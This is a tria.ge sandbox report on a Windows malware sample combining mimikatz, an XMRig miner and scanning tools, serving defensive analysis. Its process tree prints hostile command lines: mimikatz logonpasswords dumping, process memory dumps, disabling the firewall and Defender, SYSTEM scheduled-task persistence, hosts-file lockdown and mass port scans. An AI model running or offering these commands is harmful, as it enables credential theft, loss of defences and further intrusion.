Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26/09/2024, 09:52

General

  • Target

    2024-09-26_5356c1641690a01cca90645bb2fac58b_hacktools_icedid_mimikatz.exe

  • Size

    7.2MB

  • MD5

    5356c1641690a01cca90645bb2fac58b

  • SHA1

    278a888a95919aefb41121ef033f1a0fb4aec129

  • SHA256

    a87b369b2a0bd3769bd0ad1bdd6355f2c1ccdaa0a63f957d17fcfda62ffc6486

  • SHA512

    278a531b4492a75b56843db36e5411d2c18aee43cdd6bfa5a9c5281e9aa091f961d1c6443736c5bea518ccbc80b486ebf0ba047ccd4e50b11642aaa4fcd2a8fd

  • SSDEEP

    98304:YmBtyYXmknGzZr+HdO5SEPFtmOZ9G1Md5v/nZVnivsAl0eXTBJYa5roSCaa:I6mknGzwHdOgEPHd9BbX/nivPlTXTYr

Malware Config

Signatures

  • Disables service(s) 3 TTPs
  • Mimikatz

    mimikatz is an open source tool to dump credentials on Windows.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Contacts a large (19654) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • OS Credential Dumping: LSASS Memory 1 TTPs

    Malicious access to Credentials History.

  • XMRig Miner payload 10 IoCs
  • mimikatz is an open source tool to dump credentials on Windows 5 IoCs
  • Drops file in Drivers directory 3 IoCs
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 40 IoCs
  • Modifies Windows Firewall 2 TTPs 2 IoCs
  • Executes dropped EXE 32 IoCs
  • Loads dropped DLL 12 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Network Share Discovery 1 TTPs

    Attempt to gather information on host network.

  • Creates a Windows Service
  • Drops file in System32 directory 18 IoCs
  • UPX packed file 38 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in Program Files directory 3 IoCs
  • Drops file in Windows directory 60 IoCs
  • Launches sc.exe 4 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 51 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • NSIS installer 3 IoCs
  • Modifies data under HKEY_USERS 51 IoCs
  • Modifies registry class 14 IoCs
  • Runs net.exe
  • Runs ping.exe 1 TTPs 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 15 IoCs
  • Suspicious behavior: RenamesItself 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 27 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\System32\spoolsv.exe
    C:\Windows\System32\spoolsv.exe
    1⤵
      PID:2124
      • C:\Windows\TEMP\ciubbeybg\auelfz.exe
        "C:\Windows\TEMP\ciubbeybg\auelfz.exe"
        2⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:2844
    • C:\Users\Admin\AppData\Local\Temp\2024-09-26_5356c1641690a01cca90645bb2fac58b_hacktools_icedid_mimikatz.exe
      "C:\Users\Admin\AppData\Local\Temp\2024-09-26_5356c1641690a01cca90645bb2fac58b_hacktools_icedid_mimikatz.exe"
      1⤵
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: RenamesItself
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1652
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\tiagluue\wyzubbc.exe
        2⤵
        • System Network Configuration Discovery: Internet Connection Discovery
        • Suspicious use of WriteProcessMemory
        PID:4192
        • C:\Windows\SysWOW64\PING.EXE
          ping 127.0.0.1 -n 5
          3⤵
          • System Location Discovery: System Language Discovery
          • System Network Configuration Discovery: Internet Connection Discovery
          • Runs ping.exe
          PID:4964
        • C:\Windows\tiagluue\wyzubbc.exe
          C:\Windows\tiagluue\wyzubbc.exe
          3⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          PID:640
    • C:\Windows\tiagluue\wyzubbc.exe
      C:\Windows\tiagluue\wyzubbc.exe
      1⤵
      • Suspicious use of NtCreateUserProcessOtherParentProcess
      • Drops file in Drivers directory
      • Event Triggered Execution: Image File Execution Options Injection
      • Executes dropped EXE
      • Drops file in System32 directory
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1592
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2544
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /S /D /c" echo Y"
          3⤵
          • System Location Discovery: System Language Discovery
          PID:4200
        • C:\Windows\SysWOW64\cacls.exe
          cacls C:\Windows\system32\drivers\etc\hosts /T /D users
          3⤵
            PID:3712
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /S /D /c" echo Y"
            3⤵
              PID:628
            • C:\Windows\SysWOW64\cacls.exe
              cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
              3⤵
              • System Location Discovery: System Language Discovery
              PID:2136
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /S /D /c" echo Y"
              3⤵
              • System Location Discovery: System Language Discovery
              PID:4296
            • C:\Windows\SysWOW64\cacls.exe
              cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
              3⤵
                PID:2324
            • C:\Windows\SysWOW64\netsh.exe
              netsh ipsec static del all
              2⤵
              • Event Triggered Execution: Netsh Helper DLL
              • System Location Discovery: System Language Discovery
              PID:1568
            • C:\Windows\SysWOW64\netsh.exe
              netsh ipsec static add policy name=Bastards description=FuckingBastards
              2⤵
              • Event Triggered Execution: Netsh Helper DLL
              • System Location Discovery: System Language Discovery
              PID:3948
            • C:\Windows\SysWOW64\netsh.exe
              netsh ipsec static add filteraction name=BastardsList action=block
              2⤵
              • Event Triggered Execution: Netsh Helper DLL
              PID:3464
            • C:\Windows\SysWOW64\cmd.exe
              cmd /c C:\Windows\gybaengyl\abausqena\wpcap.exe /S
              2⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:2960
              • C:\Windows\gybaengyl\abausqena\wpcap.exe
                C:\Windows\gybaengyl\abausqena\wpcap.exe /S
                3⤵
                • Drops file in Drivers directory
                • Executes dropped EXE
                • Loads dropped DLL
                • Drops file in System32 directory
                • Drops file in Program Files directory
                • Suspicious use of WriteProcessMemory
                PID:2536
                • C:\Windows\SysWOW64\net.exe
                  net stop "Boundary Meter"
                  4⤵
                  • System Location Discovery: System Language Discovery
                  • Suspicious use of WriteProcessMemory
                  PID:3404
                  • C:\Windows\SysWOW64\net1.exe
                    C:\Windows\system32\net1 stop "Boundary Meter"
                    5⤵
                    • System Location Discovery: System Language Discovery
                    PID:1448
                • C:\Windows\SysWOW64\net.exe
                  net stop "TrueSight Meter"
                  4⤵
                  • System Location Discovery: System Language Discovery
                  • Suspicious use of WriteProcessMemory
                  PID:2724
                  • C:\Windows\SysWOW64\net1.exe
                    C:\Windows\system32\net1 stop "TrueSight Meter"
                    5⤵
                    • System Location Discovery: System Language Discovery
                    PID:3712
                • C:\Windows\SysWOW64\net.exe
                  net stop npf
                  4⤵
                  • System Location Discovery: System Language Discovery
                  • Suspicious use of WriteProcessMemory
                  PID:2136
                  • C:\Windows\SysWOW64\net1.exe
                    C:\Windows\system32\net1 stop npf
                    5⤵
                    • System Location Discovery: System Language Discovery
                    PID:1076
                • C:\Windows\SysWOW64\net.exe
                  net start npf
                  4⤵
                  • System Location Discovery: System Language Discovery
                  PID:1524
                  • C:\Windows\SysWOW64\net1.exe
                    C:\Windows\system32\net1 start npf
                    5⤵
                    • System Location Discovery: System Language Discovery
                    PID:3548
            • C:\Windows\SysWOW64\cmd.exe
              cmd /c net start npf
              2⤵
                PID:508
                • C:\Windows\SysWOW64\net.exe
                  net start npf
                  3⤵
                  • System Location Discovery: System Language Discovery
                  PID:3944
                  • C:\Windows\SysWOW64\net1.exe
                    C:\Windows\system32\net1 start npf
                    4⤵
                    • System Location Discovery: System Language Discovery
                    PID:1628
              • C:\Windows\SysWOW64\cmd.exe
                cmd /c net start npf
                2⤵
                • System Location Discovery: System Language Discovery
                PID:1228
                • C:\Windows\SysWOW64\net.exe
                  net start npf
                  3⤵
                  • System Location Discovery: System Language Discovery
                  PID:1060
                  • C:\Windows\SysWOW64\net1.exe
                    C:\Windows\system32\net1 start npf
                    4⤵
                    • System Location Discovery: System Language Discovery
                    PID:3948
              • C:\Windows\SysWOW64\cmd.exe
                cmd /c C:\Windows\gybaengyl\abausqena\byneybtbu.exe -p 80 222.186.128.1-222.186.255.255 --rate=512 -oJ C:\Windows\gybaengyl\abausqena\Scant.txt
                2⤵
                • System Location Discovery: System Language Discovery
                PID:652
                • C:\Windows\gybaengyl\abausqena\byneybtbu.exe
                  C:\Windows\gybaengyl\abausqena\byneybtbu.exe -p 80 222.186.128.1-222.186.255.255 --rate=512 -oJ C:\Windows\gybaengyl\abausqena\Scant.txt
                  3⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • System Location Discovery: System Language Discovery
                  PID:2032
              • C:\Windows\SysWOW64\cmd.exe
                cmd /c C:\Windows\gybaengyl\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\gybaengyl\Corporate\log.txt
                2⤵
                • Drops file in Windows directory
                PID:3988
                • C:\Windows\gybaengyl\Corporate\vfshost.exe
                  C:\Windows\gybaengyl\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit
                  3⤵
                  • Executes dropped EXE
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1036
              • C:\Windows\SysWOW64\cmd.exe
                cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "hcacbbgbt" /ru system /tr "cmd /c C:\Windows\ime\wyzubbc.exe"
                2⤵
                • System Location Discovery: System Language Discovery
                PID:4644
                • C:\Windows\SysWOW64\cmd.exe
                  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                  3⤵
                    PID:4892
                  • C:\Windows\SysWOW64\schtasks.exe
                    schtasks /create /sc minute /mo 1 /tn "hcacbbgbt" /ru system /tr "cmd /c C:\Windows\ime\wyzubbc.exe"
                    3⤵
                    • System Location Discovery: System Language Discovery
                    • Scheduled Task/Job: Scheduled Task
                    PID:4296
                • C:\Windows\SysWOW64\cmd.exe
                  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "yclstguhe" /ru system /tr "cmd /c echo Y|cacls C:\Windows\tiagluue\wyzubbc.exe /p everyone:F"
                  2⤵
                    PID:1216
                    • C:\Windows\SysWOW64\cmd.exe
                      C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                      3⤵
                      • System Location Discovery: System Language Discovery
                      PID:4624
                    • C:\Windows\SysWOW64\schtasks.exe
                      schtasks /create /sc minute /mo 1 /tn "yclstguhe" /ru system /tr "cmd /c echo Y|cacls C:\Windows\tiagluue\wyzubbc.exe /p everyone:F"
                      3⤵
                      • Scheduled Task/Job: Scheduled Task
                      PID:1176
                  • C:\Windows\SysWOW64\cmd.exe
                    cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "dyiyeenct" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\ciubbeybg\auelfz.exe /p everyone:F"
                    2⤵
                    • System Location Discovery: System Language Discovery
                    PID:3584
                    • C:\Windows\SysWOW64\cmd.exe
                      C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                      3⤵
                      • System Location Discovery: System Language Discovery
                      PID:2416
                    • C:\Windows\SysWOW64\schtasks.exe
                      schtasks /create /sc minute /mo 1 /tn "dyiyeenct" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\ciubbeybg\auelfz.exe /p everyone:F"
                      3⤵
                      • System Location Discovery: System Language Discovery
                      • Scheduled Task/Job: Scheduled Task
                      PID:4072
                  • C:\Windows\SysWOW64\netsh.exe
                    netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP
                    2⤵
                    • Event Triggered Execution: Netsh Helper DLL
                    PID:4140
                  • C:\Windows\SysWOW64\netsh.exe
                    netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP
                    2⤵
                    • Event Triggered Execution: Netsh Helper DLL
                    • System Location Discovery: System Language Discovery
                    PID:2136
                  • C:\Windows\SysWOW64\netsh.exe
                    netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
                    2⤵
                    • Event Triggered Execution: Netsh Helper DLL
                    • System Location Discovery: System Language Discovery
                    PID:2204
                  • C:\Windows\SysWOW64\netsh.exe
                    netsh ipsec static set policy name=Bastards assign=y
                    2⤵
                    • Event Triggered Execution: Netsh Helper DLL
                    • System Location Discovery: System Language Discovery
                    PID:3600
                  • C:\Windows\SysWOW64\netsh.exe
                    netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP
                    2⤵
                    • Event Triggered Execution: Netsh Helper DLL
                    • System Location Discovery: System Language Discovery
                    PID:556
                  • C:\Windows\SysWOW64\netsh.exe
                    netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP
                    2⤵
                    • Event Triggered Execution: Netsh Helper DLL
                    • System Location Discovery: System Language Discovery
                    PID:1936
                  • C:\Windows\SysWOW64\netsh.exe
                    netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
                    2⤵
                    • Event Triggered Execution: Netsh Helper DLL
                    • System Location Discovery: System Language Discovery
                    PID:2344
                  • C:\Windows\SysWOW64\netsh.exe
                    netsh ipsec static set policy name=Bastards assign=y
                    2⤵
                    • Event Triggered Execution: Netsh Helper DLL
                    • System Location Discovery: System Language Discovery
                    PID:3632
                  • C:\Windows\SysWOW64\netsh.exe
                    netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP
                    2⤵
                    • Event Triggered Execution: Netsh Helper DLL
                    • System Location Discovery: System Language Discovery
                    PID:4428
                  • C:\Windows\SysWOW64\netsh.exe
                    netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=UDP
                    2⤵
                    • Event Triggered Execution: Netsh Helper DLL
                    • System Location Discovery: System Language Discovery
                    PID:4996
                  • C:\Windows\SysWOW64\netsh.exe
                    netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
                    2⤵
                    • Event Triggered Execution: Netsh Helper DLL
                    • System Location Discovery: System Language Discovery
                    PID:2884
                  • C:\Windows\SysWOW64\netsh.exe
                    netsh ipsec static set policy name=Bastards assign=y
                    2⤵
                    • Event Triggered Execution: Netsh Helper DLL
                    • System Location Discovery: System Language Discovery
                    PID:2488
                  • C:\Windows\SysWOW64\cmd.exe
                    cmd /c net stop SharedAccess
                    2⤵
                    • System Location Discovery: System Language Discovery
                    PID:400
                    • C:\Windows\SysWOW64\net.exe
                      net stop SharedAccess
                      3⤵
                      • System Location Discovery: System Language Discovery
                      PID:4876
                      • C:\Windows\SysWOW64\net1.exe
                        C:\Windows\system32\net1 stop SharedAccess
                        4⤵
                          PID:4072
                    • C:\Windows\SysWOW64\cmd.exe
                      cmd /c netsh firewall set opmode mode=disable
                      2⤵
                      • System Location Discovery: System Language Discovery
                      PID:3880
                      • C:\Windows\SysWOW64\netsh.exe
                        netsh firewall set opmode mode=disable
                        3⤵
                        • Modifies Windows Firewall
                        • Event Triggered Execution: Netsh Helper DLL
                        PID:2316
                    • C:\Windows\TEMP\gybaengyl\sibyhtagb.exe
                      C:\Windows\TEMP\gybaengyl\sibyhtagb.exe -accepteula -mp 800 C:\Windows\TEMP\gybaengyl\800.dmp
                      2⤵
                      • Executes dropped EXE
                      • Modifies data under HKEY_USERS
                      • Suspicious use of AdjustPrivilegeToken
                      PID:3440
                    • C:\Windows\SysWOW64\cmd.exe
                      cmd /c netsh Advfirewall set allprofiles state off
                      2⤵
                      • System Location Discovery: System Language Discovery
                      PID:4704
                      • C:\Windows\SysWOW64\netsh.exe
                        netsh Advfirewall set allprofiles state off
                        3⤵
                        • Modifies Windows Firewall
                        • Event Triggered Execution: Netsh Helper DLL
                        • System Location Discovery: System Language Discovery
                        PID:1880
                    • C:\Windows\SysWOW64\cmd.exe
                      cmd /c net stop MpsSvc
                      2⤵
                        PID:2760
                        • C:\Windows\SysWOW64\net.exe
                          net stop MpsSvc
                          3⤵
                            PID:1632
                            • C:\Windows\SysWOW64\net1.exe
                              C:\Windows\system32\net1 stop MpsSvc
                              4⤵
                              • System Location Discovery: System Language Discovery
                              PID:1568
                        • C:\Windows\SysWOW64\cmd.exe
                          cmd /c net stop WinDefend
                          2⤵
                          • System Location Discovery: System Language Discovery
                          PID:1092
                          • C:\Windows\SysWOW64\net.exe
                            net stop WinDefend
                            3⤵
                              PID:4656
                              • C:\Windows\SysWOW64\net1.exe
                                C:\Windows\system32\net1 stop WinDefend
                                4⤵
                                • System Location Discovery: System Language Discovery
                                PID:4512
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd /c net stop wuauserv
                            2⤵
                            • System Location Discovery: System Language Discovery
                            PID:1452
                            • C:\Windows\SysWOW64\net.exe
                              net stop wuauserv
                              3⤵
                              • System Location Discovery: System Language Discovery
                              PID:1416
                              • C:\Windows\SysWOW64\net1.exe
                                C:\Windows\system32\net1 stop wuauserv
                                4⤵
                                  PID:3320
                            • C:\Windows\SysWOW64\cmd.exe
                              cmd /c sc config MpsSvc start= disabled
                              2⤵
                              • System Location Discovery: System Language Discovery
                              PID:2816
                              • C:\Windows\SysWOW64\sc.exe
                                sc config MpsSvc start= disabled
                                3⤵
                                • Launches sc.exe
                                • System Location Discovery: System Language Discovery
                                PID:508
                            • C:\Windows\SysWOW64\cmd.exe
                              cmd /c sc config SharedAccess start= disabled
                              2⤵
                                PID:3544
                                • C:\Windows\SysWOW64\sc.exe
                                  sc config SharedAccess start= disabled
                                  3⤵
                                  • Launches sc.exe
                                  PID:556
                              • C:\Windows\SysWOW64\cmd.exe
                                cmd /c sc config WinDefend start= disabled
                                2⤵
                                • System Location Discovery: System Language Discovery
                                PID:3172
                                • C:\Windows\SysWOW64\sc.exe
                                  sc config WinDefend start= disabled
                                  3⤵
                                  • Launches sc.exe
                                  • System Location Discovery: System Language Discovery
                                  PID:2988
                              • C:\Windows\SysWOW64\cmd.exe
                                cmd /c sc config wuauserv start= disabled
                                2⤵
                                • System Location Discovery: System Language Discovery
                                PID:3096
                                • C:\Windows\SysWOW64\sc.exe
                                  sc config wuauserv start= disabled
                                  3⤵
                                  • Launches sc.exe
                                  • System Location Discovery: System Language Discovery
                                  PID:3752
                              • C:\Windows\TEMP\xohudmc.exe
                                C:\Windows\TEMP\xohudmc.exe
                                2⤵
                                • Executes dropped EXE
                                • Drops file in System32 directory
                                • System Location Discovery: System Language Discovery
                                • Suspicious use of SetWindowsHookEx
                                PID:1344
                              • C:\Windows\TEMP\gybaengyl\sibyhtagb.exe
                                C:\Windows\TEMP\gybaengyl\sibyhtagb.exe -accepteula -mp 316 C:\Windows\TEMP\gybaengyl\316.dmp
                                2⤵
                                • Executes dropped EXE
                                • Modifies data under HKEY_USERS
                                • Suspicious use of AdjustPrivilegeToken
                                PID:2156
                              • C:\Windows\TEMP\gybaengyl\sibyhtagb.exe
                                C:\Windows\TEMP\gybaengyl\sibyhtagb.exe -accepteula -mp 2124 C:\Windows\TEMP\gybaengyl\2124.dmp
                                2⤵
                                • Executes dropped EXE
                                • Modifies data under HKEY_USERS
                                • Suspicious use of AdjustPrivilegeToken
                                PID:724
                              • C:\Windows\TEMP\gybaengyl\sibyhtagb.exe
                                C:\Windows\TEMP\gybaengyl\sibyhtagb.exe -accepteula -mp 2608 C:\Windows\TEMP\gybaengyl\2608.dmp
                                2⤵
                                • Executes dropped EXE
                                • Modifies data under HKEY_USERS
                                • Suspicious use of AdjustPrivilegeToken
                                PID:556
                              • C:\Windows\TEMP\gybaengyl\sibyhtagb.exe
                                C:\Windows\TEMP\gybaengyl\sibyhtagb.exe -accepteula -mp 2936 C:\Windows\TEMP\gybaengyl\2936.dmp
                                2⤵
                                • Executes dropped EXE
                                • Modifies data under HKEY_USERS
                                • Suspicious use of AdjustPrivilegeToken
                                PID:1444
                              • C:\Windows\TEMP\gybaengyl\sibyhtagb.exe
                                C:\Windows\TEMP\gybaengyl\sibyhtagb.exe -accepteula -mp 3016 C:\Windows\TEMP\gybaengyl\3016.dmp
                                2⤵
                                • Executes dropped EXE
                                • Modifies data under HKEY_USERS
                                • Suspicious use of AdjustPrivilegeToken
                                PID:1076
                              • C:\Windows\TEMP\gybaengyl\sibyhtagb.exe
                                C:\Windows\TEMP\gybaengyl\sibyhtagb.exe -accepteula -mp 2168 C:\Windows\TEMP\gybaengyl\2168.dmp
                                2⤵
                                • Executes dropped EXE
                                • Modifies data under HKEY_USERS
                                • Suspicious use of AdjustPrivilegeToken
                                PID:2968
                              • C:\Windows\TEMP\gybaengyl\sibyhtagb.exe
                                C:\Windows\TEMP\gybaengyl\sibyhtagb.exe -accepteula -mp 3804 C:\Windows\TEMP\gybaengyl\3804.dmp
                                2⤵
                                • Executes dropped EXE
                                • Modifies data under HKEY_USERS
                                • Suspicious use of AdjustPrivilegeToken
                                PID:3584
                              • C:\Windows\TEMP\gybaengyl\sibyhtagb.exe
                                C:\Windows\TEMP\gybaengyl\sibyhtagb.exe -accepteula -mp 3896 C:\Windows\TEMP\gybaengyl\3896.dmp
                                2⤵
                                • Executes dropped EXE
                                • Modifies data under HKEY_USERS
                                • Suspicious use of AdjustPrivilegeToken
                                PID:4472
                              • C:\Windows\TEMP\gybaengyl\sibyhtagb.exe
                                C:\Windows\TEMP\gybaengyl\sibyhtagb.exe -accepteula -mp 3960 C:\Windows\TEMP\gybaengyl\3960.dmp
                                2⤵
                                • Executes dropped EXE
                                • Modifies data under HKEY_USERS
                                • Suspicious use of AdjustPrivilegeToken
                                PID:4036
                              • C:\Windows\TEMP\gybaengyl\sibyhtagb.exe
                                C:\Windows\TEMP\gybaengyl\sibyhtagb.exe -accepteula -mp 4056 C:\Windows\TEMP\gybaengyl\4056.dmp
                                2⤵
                                • Executes dropped EXE
                                • Modifies data under HKEY_USERS
                                • Suspicious use of AdjustPrivilegeToken
                                PID:2156
                              • C:\Windows\TEMP\gybaengyl\sibyhtagb.exe
                                C:\Windows\TEMP\gybaengyl\sibyhtagb.exe -accepteula -mp 3156 C:\Windows\TEMP\gybaengyl\3156.dmp
                                2⤵
                                • Executes dropped EXE
                                • Modifies data under HKEY_USERS
                                • Suspicious use of AdjustPrivilegeToken
                                PID:1104
                              • C:\Windows\TEMP\gybaengyl\sibyhtagb.exe
                                C:\Windows\TEMP\gybaengyl\sibyhtagb.exe -accepteula -mp 2716 C:\Windows\TEMP\gybaengyl\2716.dmp
                                2⤵
                                • Executes dropped EXE
                                • Modifies data under HKEY_USERS
                                • Suspicious use of AdjustPrivilegeToken
                                PID:1560
                              • C:\Windows\TEMP\gybaengyl\sibyhtagb.exe
                                C:\Windows\TEMP\gybaengyl\sibyhtagb.exe -accepteula -mp 4576 C:\Windows\TEMP\gybaengyl\4576.dmp
                                2⤵
                                • Executes dropped EXE
                                • Modifies data under HKEY_USERS
                                • Suspicious use of AdjustPrivilegeToken
                                PID:1936
                              • C:\Windows\TEMP\gybaengyl\sibyhtagb.exe
                                C:\Windows\TEMP\gybaengyl\sibyhtagb.exe -accepteula -mp 3192 C:\Windows\TEMP\gybaengyl\3192.dmp
                                2⤵
                                • Executes dropped EXE
                                • Modifies data under HKEY_USERS
                                • Suspicious use of AdjustPrivilegeToken
                                PID:2328
                              • C:\Windows\TEMP\gybaengyl\sibyhtagb.exe
                                C:\Windows\TEMP\gybaengyl\sibyhtagb.exe -accepteula -mp 2092 C:\Windows\TEMP\gybaengyl\2092.dmp
                                2⤵
                                • Executes dropped EXE
                                • Modifies data under HKEY_USERS
                                • Suspicious use of AdjustPrivilegeToken
                                PID:3548
                              • C:\Windows\TEMP\gybaengyl\sibyhtagb.exe
                                C:\Windows\TEMP\gybaengyl\sibyhtagb.exe -accepteula -mp 1808 C:\Windows\TEMP\gybaengyl\1808.dmp
                                2⤵
                                • Executes dropped EXE
                                • Modifies data under HKEY_USERS
                                • Suspicious use of AdjustPrivilegeToken
                                PID:4440
                              • C:\Windows\TEMP\gybaengyl\sibyhtagb.exe
                                C:\Windows\TEMP\gybaengyl\sibyhtagb.exe -accepteula -mp 1940 C:\Windows\TEMP\gybaengyl\1940.dmp
                                2⤵
                                • Executes dropped EXE
                                • Modifies data under HKEY_USERS
                                • Suspicious use of AdjustPrivilegeToken
                                PID:2832
                              • C:\Windows\TEMP\gybaengyl\sibyhtagb.exe
                                C:\Windows\TEMP\gybaengyl\sibyhtagb.exe -accepteula -mp 464 C:\Windows\TEMP\gybaengyl\464.dmp
                                2⤵
                                • Executes dropped EXE
                                • Modifies data under HKEY_USERS
                                • Suspicious use of AdjustPrivilegeToken
                                PID:1448
                              • C:\Windows\SysWOW64\cmd.exe
                                cmd.exe /c C:\Windows\gybaengyl\abausqena\scan.bat
                                2⤵
                                • System Location Discovery: System Language Discovery
                                PID:1176
                                • C:\Windows\gybaengyl\abausqena\slunhablh.exe
                                  slunhablh.exe TCP 138.199.0.1 138.199.255.255 7001 512 /save
                                  3⤵
                                  • Executes dropped EXE
                                  • Drops file in Windows directory
                                  PID:4424
                              • C:\Windows\TEMP\gybaengyl\sibyhtagb.exe
                                C:\Windows\TEMP\gybaengyl\sibyhtagb.exe -accepteula -mp 1176 C:\Windows\TEMP\gybaengyl\1176.dmp
                                2⤵
                                • Executes dropped EXE
                                • Modifies data under HKEY_USERS
                                • Suspicious use of AdjustPrivilegeToken
                                PID:5892
                              • C:\Windows\TEMP\gybaengyl\sibyhtagb.exe
                                C:\Windows\TEMP\gybaengyl\sibyhtagb.exe -accepteula -mp 3616 C:\Windows\TEMP\gybaengyl\3616.dmp
                                2⤵
                                • Executes dropped EXE
                                • Modifies data under HKEY_USERS
                                • Suspicious use of AdjustPrivilegeToken
                                PID:1508
                              • C:\Windows\SysWOW64\cmd.exe
                                cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
                                2⤵
                                • System Location Discovery: System Language Discovery
                                PID:2432
                                • C:\Windows\SysWOW64\cmd.exe
                                  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                  3⤵
                                    PID:6492
                                  • C:\Windows\SysWOW64\cacls.exe
                                    cacls C:\Windows\system32\drivers\etc\hosts /T /D users
                                    3⤵
                                      PID:6628
                                    • C:\Windows\SysWOW64\cmd.exe
                                      C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                      3⤵
                                        PID:6884
                                      • C:\Windows\SysWOW64\cacls.exe
                                        cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
                                        3⤵
                                        • System Location Discovery: System Language Discovery
                                        PID:6992
                                      • C:\Windows\SysWOW64\cmd.exe
                                        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                        3⤵
                                          PID:820
                                        • C:\Windows\SysWOW64\cacls.exe
                                          cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
                                          3⤵
                                            PID:6656
                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4400,i,1330210614411927383,9239043499051775691,262144 --variations-seed-version --mojo-platform-channel-handle=4144 /prefetch:8
                                        1⤵
                                          PID:3988
                                        • C:\Windows\SysWOW64\bgzdgi.exe
                                          C:\Windows\SysWOW64\bgzdgi.exe
                                          1⤵
                                          • Executes dropped EXE
